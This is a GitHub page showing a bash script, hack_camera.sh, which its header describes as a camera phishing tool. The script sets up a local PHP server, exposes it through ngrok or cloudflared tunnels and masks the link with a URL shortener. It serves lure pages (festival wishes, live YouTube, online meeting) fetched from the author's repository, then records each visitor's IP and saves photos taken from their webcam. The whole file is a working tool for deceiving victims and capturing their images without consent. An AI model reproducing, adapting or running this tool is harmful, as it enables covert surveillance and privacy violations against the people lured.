-
Notifications
You must be signed in to change notification settings - Fork 1
/
hack_camera.sh
541 lines (514 loc) · 15.8 KB
/
hack_camera.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
#!/bin/bash
# HACK-CAMERA
# Version : 1.2
# Description: CameraHackHack is a camera Phishing tool. Send a phishing link to victim, if he/she gives access to camera, his/her photo will be captured!
# Author : Mojib Rsm
# Github : https://github.com/Mojib-Rsm
# Join Us : https://t.me/MrTools_BD
# Date : 26-05-2023
# Language : Shell, HTML, Css
# Portable File
# If you copy, consider giving credit! We keep our code open source to help others
# Colors
black="\033[1;30m"
red="\033[1;31m"
green="\033[1;32m"
yellow="\033[1;33m"
blue="\033[1;34m"
purple="\033[1;35m"
cyan="\033[1;36m"
violate="\033[1;37m"
white="\033[0;37m"
nc="\033[00m"
# Output snippets
info="${red}[${white}+${red}] ${cyan}"
ask="${red}[${white}?${red}] ${violate}"
error="${cyan}[${white}!${cyan}] ${red}"
success="${red}[${white}√${red}] ${green}"
cwd=`pwd`
# Logo
logo="
${blue} _ _ _ ____ _ __ ____ _ __ __ _____ ____ _
${blue} | | | | / \ / ___| |/ / / ___| / \ | \/ | ____| _ \ / \
${blue} | |_| | / _ \| | | ' /_____| | / _ \ | |\/| | _| | |_) | / _ \
${blue} | _ |/ ___ \ |___| . \_____| |___ / ___ \| | | | |___| _ < / ___ \
${blue} |_| |_/_/ \_\____|_|\_\ \____/_/ \_\_| |_|_____|_| \_\/_/ \_\
${green} [By Mojib Rsm (MrTeamTiger)]
"
# Package Installer
pacin(){
if $sudo && $pacman; then
sudo pacman -S $1 --noconfirm
fi
}
# Kill running instances of required packages
killer() {
if [ `pidof php > /dev/null 2>&1` ]; then
killall php
fi
if [ `pidof ngrok > /dev/null 2>&1` ]; then
killall ngrok
fi
if [ `pidof cloudflared > /dev/null 2>&1` ]; then
killall cloudflared
fi
if [ `pidof curl > /dev/null 2>&1` ]; then
killall curl
fi
if [ `pidof wget > /dev/null 2>&1` ]; then
killall wget
fi
if [ `pidof unzip > /dev/null 2>&1` ]; then
killall unzip
fi
}
# Check if offline
netcheck() {
while true; do
wget --spider --quiet https://github.com
if [ "$?" != 0 ]; then
echo -e "${error}No internet!\007\n"
sleep 2
else
break
fi
done
}
# Delete ngrok file
ngrokdel() {
unzip ngrok.zip
rm -rf ngrok.zip
}
# Set template
replacer() {
while true; do
if echo $option | grep -q "1"; then
sed "s+forwarding_link+"$1"+g" grabcam.html > index2.html
sed "s+forwarding_link+"$1"+g" template.php > index.php
break
elif echo $option | grep -q "2"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" festivalwishes.html > index3.html
sed "s+fes_name+"$fest_name"+g" index3.html > index2.html
rm -rf index3.html
break
elif echo $option | grep -q "3"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" LiveYTTV.html > index3.html
sed "s+live_yt_tv+"$vid_id"+g" index3.html > index2.html
rm -rf index3.html
break
elif echo $option | grep -q "4"; then
sed "s+forwarding_link+"$1"+g" template.php > index.php
sed "s+forwarding_link+"$1"+g" OnlineMeeting.html > index2.html
break
fi
done
echo -e "${info}Your urls are: ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ \n"
sleep 1
echo -e "${success}Link 1 : ${1}\n"
sleep 1
netcheck
masked=$(curl -s https://is.gd/create.php\?format\=simple\&url\=${1})
if ! [[ -z $masked ]]; then
echo -e "${success}URL 2 > ${masked}\n"
fi
}
# Prevent ^C
stty -echoctl
# Detect UserInterrupt
trap "echo -e '\n${success}Thanks for Using! Visit Site : https://mojibrsm.com\n'; exit" 2
# Termux
if [[ -d /data/data/com.termux/files/home ]]; then
termux-fix-shebang hack_camera.sh
termux=true
else
termux=false
fi
# Workdir
if $termux; then
if ! [ -d /sdcard/Pictures ]; then
cd /sdcard && mkdir Pictures
fi
export FOL="/sdcard/Pictures"
cd "$FOL"
if ! [[ -e ".temp" ]]; then
touch .temp || (termux-setup-storage && echo -e "\n${error}Please Restart Termux!\n\007" && sleep 5 && exit 0)
fi
cd "$cwd"
else
if [ -d "$HOME/Pictures" ]; then
export FOL="$HOME/Pictures"
else
export FOL="$cwd"
fi
fi
# Set Tunneler
export TN="Cloudflared"
# Set Package Manager
if [ `command -v sudo` ]; then
sudo=true
else
sudo=false
fi
if $sudo; then
if [ `command -v apt` ]; then
pac_man="sudo apt"
elif [ `command -v apt-get` ]; then
pac_man="sudo apt-get"
elif [ `command -v yum` ]; then
pac_man="sudo yum"
elif [ `command -v dnf` ]; then
pac_man="sudo dnf"
elif [ `command -v apk` ]; then
pac_man="sudo apk"
elif [ `command -v pacman` ]; then
pacman=true
else
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
exit 1
fi
else
if [ `command -v apt` ]; then
pac_man="apt"
elif [ `command -v apt-get` ]; then
pac_man="apt-get"
elif [ `command -v brew` ]; then
pac_man="brew"
else
echo -e "${error}No supported package manager found! Install packages manually!\007\n"
exit 1
fi
fi
# Install Dependicies
if ! [ `command -v php` ]; then
echo -e "${info}Installing php...."
$pac_man install php -y
pacin php
fi
if ! [ `command -v curl` ]; then
echo -e "${info}Installing curl...."
$pac_man install curl -y
pacin "unzip"
fi
if ! [ `command -v unzip` ]; then
echo -e "${info}Installing unzip...."
$pac_man install unzip -y
pacin "unzip"
fi
if ! [ `command -v wget` ]; then
echo -e "${info}Installing wget...."
$pac_man install wget -y
pacin "wget"
fi
if $termux; then
if ! [ `command -v proot` ]; then
echo -e "${info}Installing proot...."
pkg install proot -y
fi
if ! [ `command -v proot` ]; then
echo -e "${error}Proot can't be installed!\007\n"
exit 1
fi
fi
if ! [ `command -v php` ]; then
echo -e "${error}PHP cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v curl` ]; then
echo -e "${error}Curl cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v unzip` ]; then
echo -e "${error}Unzip cannot be installed!\007\n"
exit 1
fi
if ! [ `command -v wget` ]; then
echo -e "${error}Wget cannot be installed!\007\n"
exit 1
fi
if [ `pidof php > /dev/null 2>&1` ]; then
echo -e "${error}Previous php cannot be closed. Restart terminal!\007\n"
killer; exit 1
fi
if [ `pidof ngrok > /dev/null 2>&1` ]; then
echo -e "${error}Previous ngrok cannot be closed. Restart terminal!\007\n"
killer; exit 1
fi
# Termux should run from home
if $termux; then
path=`pwd`
if echo "$path" | grep -q "home"; then
printf ""
else
echo -e "${error}Invalid directory. Run from home!\007\n"
killer; exit 1
fi
fi
# Download tunnlers
if ! [[ -f $HOME/.ngrokfolder/ngrok && -f $HOME/.cffolder/cloudflared ]] ; then
if ! [[ -d $HOME/.ngrokfolder ]]; then
cd $HOME && mkdir .ngrokfolder
fi
if ! [[ -d $HOME/.cffolder ]]; then
cd $HOME && mkdir .cffolder
fi
p=`uname -m`
d=`uname`
while true; do
echo -e "\n${info}Downloading Tunnelers:\n"
netcheck
if [ -e ngrok.zip ];then
rm -rf ngrok.zip
fi
cd "$cwd"
if echo "$d" | grep -q "Darwin"; then
if echo "$p" | grep -q "x86_64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-darwin-amd64.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-darwin-amd64.tgz" -O "cloudflared.tgz"
tar -zxf cloudflared.tgz > /dev/null 2>&1
rm -rf cloudflared.tgz
break
elif echo "$p" | grep -q "arm64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-arm64.zip" -O "ngrok.zip"
ngrokdel
echo -e "${error}Cloudflared not available for device architecture!"
sleep 3
break
else
echo -e "${error}Device architecture unknown. Download ngrok/cloudflared manually!"
sleep 3
break
fi
elif echo "$d" | grep -q "Linux"; then
if echo "$p" | grep -q "aarch64"; then
if [ -e ngrok-stable-linux-arm64.tgz ];then
rm -rf ngrok-stable-linux-arm64.tgz
fi
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm64.tgz" -O "ngrok.tgz"
tar -zxf ngrok.tgz
rm -rf ngrok.tgz
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm64" -O "cloudflared"
break
elif echo "$p" | grep -q "arm"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-arm.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-arm' -O "cloudflared"
break
elif echo "$p" | grep -q "x86_64"; then
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-amd64.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress 'https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64' -O "cloudflared"
break
else
wget -q --show-progress "https://github.com/KasRoudra/files/raw/main/ngrok/ngrok-stable-linux-386.zip" -O "ngrok.zip"
ngrokdel
wget -q --show-progress "https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-386" -O "cloudflared"
break
fi
else
echo -e "${error}Unsupported Platform!"
exit
fi
done
sleep 1
cd "$cwd"
mv -f ngrok $HOME/.ngrokfolder
mv -f cloudflared $HOME/.cffolder
if $sudo; then
sudo chmod +x $HOME/.ngrokfolder/ngrok
sudo chmod +x $HOME/.cffolder/cloudflared
else
chmod +x $HOME/.ngrokfolder/ngrok
chmod +x $HOME/.cffolder/cloudflared
fi
fi
# Start Point
while true; do
clear
echo -e "$logo"
sleep 1
echo -e "${ask}Choose an option:
${red}[${white}1${red}] ${cyan}Hack Camera
${red}[${white}d${red}] ${cyan}Change Image Directory (current: ${red}${FOL}${yellow})
${red}[${white}p${red}] ${cyan}Change Default Port (current: ${red}${PORT}${yellow})
${red}[${white}t${red}] ${cyan}Change Default Tunneler (current: ${red}${TN}${yellow})
${red}[${white}x${red}] ${cyan}About
${red}[${white}m${red}] ${cyan}More tools
${red}[${white}0${red}] ${cyan}Exit${blue}
"
sleep 1
printf "${cyan}\nMojibrsm${nc}@${blue}MrTeamTiger ${red}$ ${nc}"
read option
# Select template
if echo $option | grep -q "1"; then
dir="camera"
break
elif echo $option | grep -q "2"; then
dir="fest"
printf "\n${ask}Enter festival name:${cyan}\n\nMojibrsm${nc}@${blue}MrTeamTiger ${red}$ ${nc}"
read fest_name
if [ -z $fest_name ]; then
echo -e "\n${error}Invalid input!\n\007"
sleep 1
else
fest_name="${fest_name//[[:space:]]/}"
break
fi
elif echo $option | grep -q "3"; then
dir="live"
printf "\n${ask}Enter youtube video ID:${cyan}\n\Mojibrsm${nc}@${blue}MrTeamTiger ${red}$ ${nc}"
read vid_id
if [ -z $vid_id ]; then
echo -e "\n${error}Invalid input!\n\007"
sleep 1
else
break
fi
elif echo $option | grep -q "4"; then
dir="om"
break
elif echo $option | grep -q "t"; then
if [ $TN == "Cloudflared" ]; then
export TN="Ngrok"
else
export TN="Cloudflared"
fi
elif echo $option | grep -q "i"; then
printf "\n${ask}Enter Directory:${cyan}\n\nMojibrsm${nc}@${blue}MrTeamTiger ${red}$ ${nc}"
read dire
if ! [ -d $dire ]; then
echo -e "\n${error}Invalid directory!\n\007"
sleep 1
else
export FOL="$dire"
echo -e "\n${success}Directory changed successfully!\n"
sleep 1
fi
elif echo $option | grep -q "x"; then
clear
echo -e "$logo"
echo -e "$red[ToolName] ${cyan} :[Camera-Hack]
$red[Version] ${cyan} :[2.1]
$red[Description]${cyan} :[Camera Phishing tool]
$red[Author] ${cyan} :[Mojib Rsm]
$red[Powered by] ${cyan} :[MrTeamTiger]
$red[Github] ${cyan} :[https://github.com/Mojib-Rsm]
$red[Join us] ${cyan} :[https://t.me/MrTools_BD]
$red[Telegarm] ${cyan} :[https://t.me/MrBomberBD]"
printf "${cyan}\nMojibrsm${nc}@${cyan}MrTeamTiger ${red}$ ${nc}"
read about
elif echo $option | grep -q "m"; then
xdg-open "https://team.mojibrsm.com/"
elif echo $option | grep -q "0"; then
exit 0
else
echo -e "\n${error}Invalid input!\007"
sleep 1
fi
done
cd $cwd
if [ -e websites.zip ];then
unzip websites.zip > /dev/null 2>&1
rm -rf websites.zip
fi
if ! [ -d $dir ];then
mkdir $dir
cd $dir
netcheck
wget -q --show-progress "https://github.com/Mojib-rsm/files/raw/main/${dir}.zip"
unzip ${dir}.zip > /dev/null 2>&1
rm -rf ${dir}.zip
else
cd $dir
fi
# Hotspot required for termux
if $termux; then
echo -e "\n${info}If you haven't turned on hotspot? - please enable it!"
sleep 3
fi
echo -e "\n${info}Starting PHP Server at 127.0.0.1:7777\n"
netcheck
php -S 127.0.0.1:7777 > /dev/null 2>&1 &
sleep 2
echo -e "${info}Starting link tunnelers......\n"
if [ -e "$HOME/.cffolder/log.txt" ]; then
rm -rf "$HOME/.cffolder/log.txt"
fi
netcheck
cd $HOME/.ngrokfolder && ./ngrok http 127.0.0.1:7777 > /dev/null 2>&1 &
if $termux; then
cd $HOME/.cffolder && termux-chroot ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
else
cd $HOME/.cffolder && ./cloudflared tunnel -url "127.0.0.1:7777" --logfile "log.txt" > /dev/null 2>&1 &
fi
sleep 8
ngroklink=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[-0-9a-z]*\.ngrok.io")
if (echo "$ngroklink" | grep -q "ngrok"); then
ngrokcheck=true
else
ngrokcheck=false
fi
cflink=$(grep -o 'https://[-0-9a-z]*\.trycloudflare.com' "$HOME/.cffolder/log.txt")
if (echo "$cflink" | grep -q "cloudflare"); then
cfcheck=true
else
cfcheck=false
fi
while true; do
if ( $cfcheck && $ngrokcheck ); then
if [ $TN == "Cloudflared" ]; then
echo -e "${success}Cloudflared choosen!\n"
replacer "$cflink"
else
echo -e "${success}Ngrok choosen!\n"
replacer "$ngroklink"
fi
break
fi
if ( $cfcheck && ! $ngrokcheck ); then
echo -e "${success}Cloudflared started succesfully!\n"
replacer "$cflink"
break
fi
if ( ! $cfcheck && $ngrokcheck ); then
echo -e "${success}Ngrok started succesfully!\n"
replacer "$ngroklink"
break
fi
if ! ( $cfcheck && $ngrokcheck ); then
echo -e "${error}Tunneling failed!\n"
killer; exit 1
fi
done
sleep 1
status=$(curl -s --head -w %{http_code} 127.0.0.1:7777 -o /dev/null)
if echo "$status" | grep -q "404"; then
echo -e "${error}PHP couldn't start!\n\007"
killer; exit 1
else
echo -e "${success}PHP started succesfully!\n"
fi
sleep 1
rm -rf ip.txt
echo -e "${info}Waiting for target. ${cyan}Press ${red}Ctrl + C ${cyan}to exit...\n"
while true; do
if [[ -e "ip.txt" ]]; then
echo -e "\007${success}Target opened the link!\n"
while IFS= read -r line; do
echo -e "${green}[${blue}*${green}]${yellow} $line"
done < ip.txt
echo ""
cat ip.txt >> $cwd/ips.txt
rm -rf ip.txt
fi
sleep 0.5
if [[ -e "log.txt" ]]; then
echo -e "\007${success}IMAGE FILE RECEIVED ! Download...\n"
file=`ls | grep png`
mv -f $file $FOL
rm -rf log.txt
fi
sleep 0.5
done